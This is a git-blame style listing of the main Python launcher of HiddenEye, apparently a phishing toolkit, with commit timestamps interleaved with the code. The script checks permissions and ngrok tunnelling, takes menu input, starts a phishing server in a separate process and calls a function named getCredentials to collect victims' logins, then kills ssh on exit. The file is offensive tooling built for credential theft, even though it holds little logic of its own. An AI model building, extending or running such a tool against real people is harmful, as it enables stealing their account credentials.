2018-10-30 23:43:48 +08:00
|
|
|
#!/usr/bin/python3
|
2018-11-20 01:49:09 +08:00
|
|
|
#
|
2018-10-29 03:49:19 +08:00
|
|
|
#HiddenEye by Open Source Community
|
2018-11-20 01:49:09 +08:00
|
|
|
#
|
2018-10-29 03:49:19 +08:00
|
|
|
import multiprocessing
|
2018-10-31 10:28:03 +08:00
|
|
|
import gettext
|
2018-11-29 04:56:33 +08:00
|
|
|
import sys
|
2018-10-30 23:16:49 +08:00
|
|
|
from Defs.Checks import *
|
|
|
|
from Defs.Configurations import *
|
|
|
|
from Defs.Actions import *
|
2018-11-20 01:49:09 +08:00
|
|
|
from Defs.Languages import *
|
2018-12-09 15:10:27 +08:00
|
|
|
from os import system
|
2018-11-29 04:56:33 +08:00
|
|
|
|
2018-10-29 03:49:19 +08:00
|
|
|
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
2018-12-06 09:06:41 +08:00
|
|
|
checkPermissions()
|
2018-11-30 07:20:52 +08:00
|
|
|
installGetText()
|
2018-11-29 04:56:33 +08:00
|
|
|
languageSelector()
|
2018-10-29 03:49:19 +08:00
|
|
|
checkConnection()
|
|
|
|
checkNgrok()
|
|
|
|
ifSettingsNotExists()
|
|
|
|
readConfig()
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
try:
|
|
|
|
runMainMenu()
|
|
|
|
|
|
|
|
inputCustom()
|
|
|
|
##############
|
|
|
|
selectServer()
|
2018-10-30 22:32:47 +08:00
|
|
|
|
2018-10-29 03:49:19 +08:00
|
|
|
multiprocessing.Process(target=runServer).start()
|
|
|
|
getCredentials()
|
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
2018-12-09 15:10:27 +08:00
|
|
|
system('pkill ssh')
|
2018-10-29 03:49:19 +08:00
|
|
|
endMessage()
|
|
|
|
exit(0)
|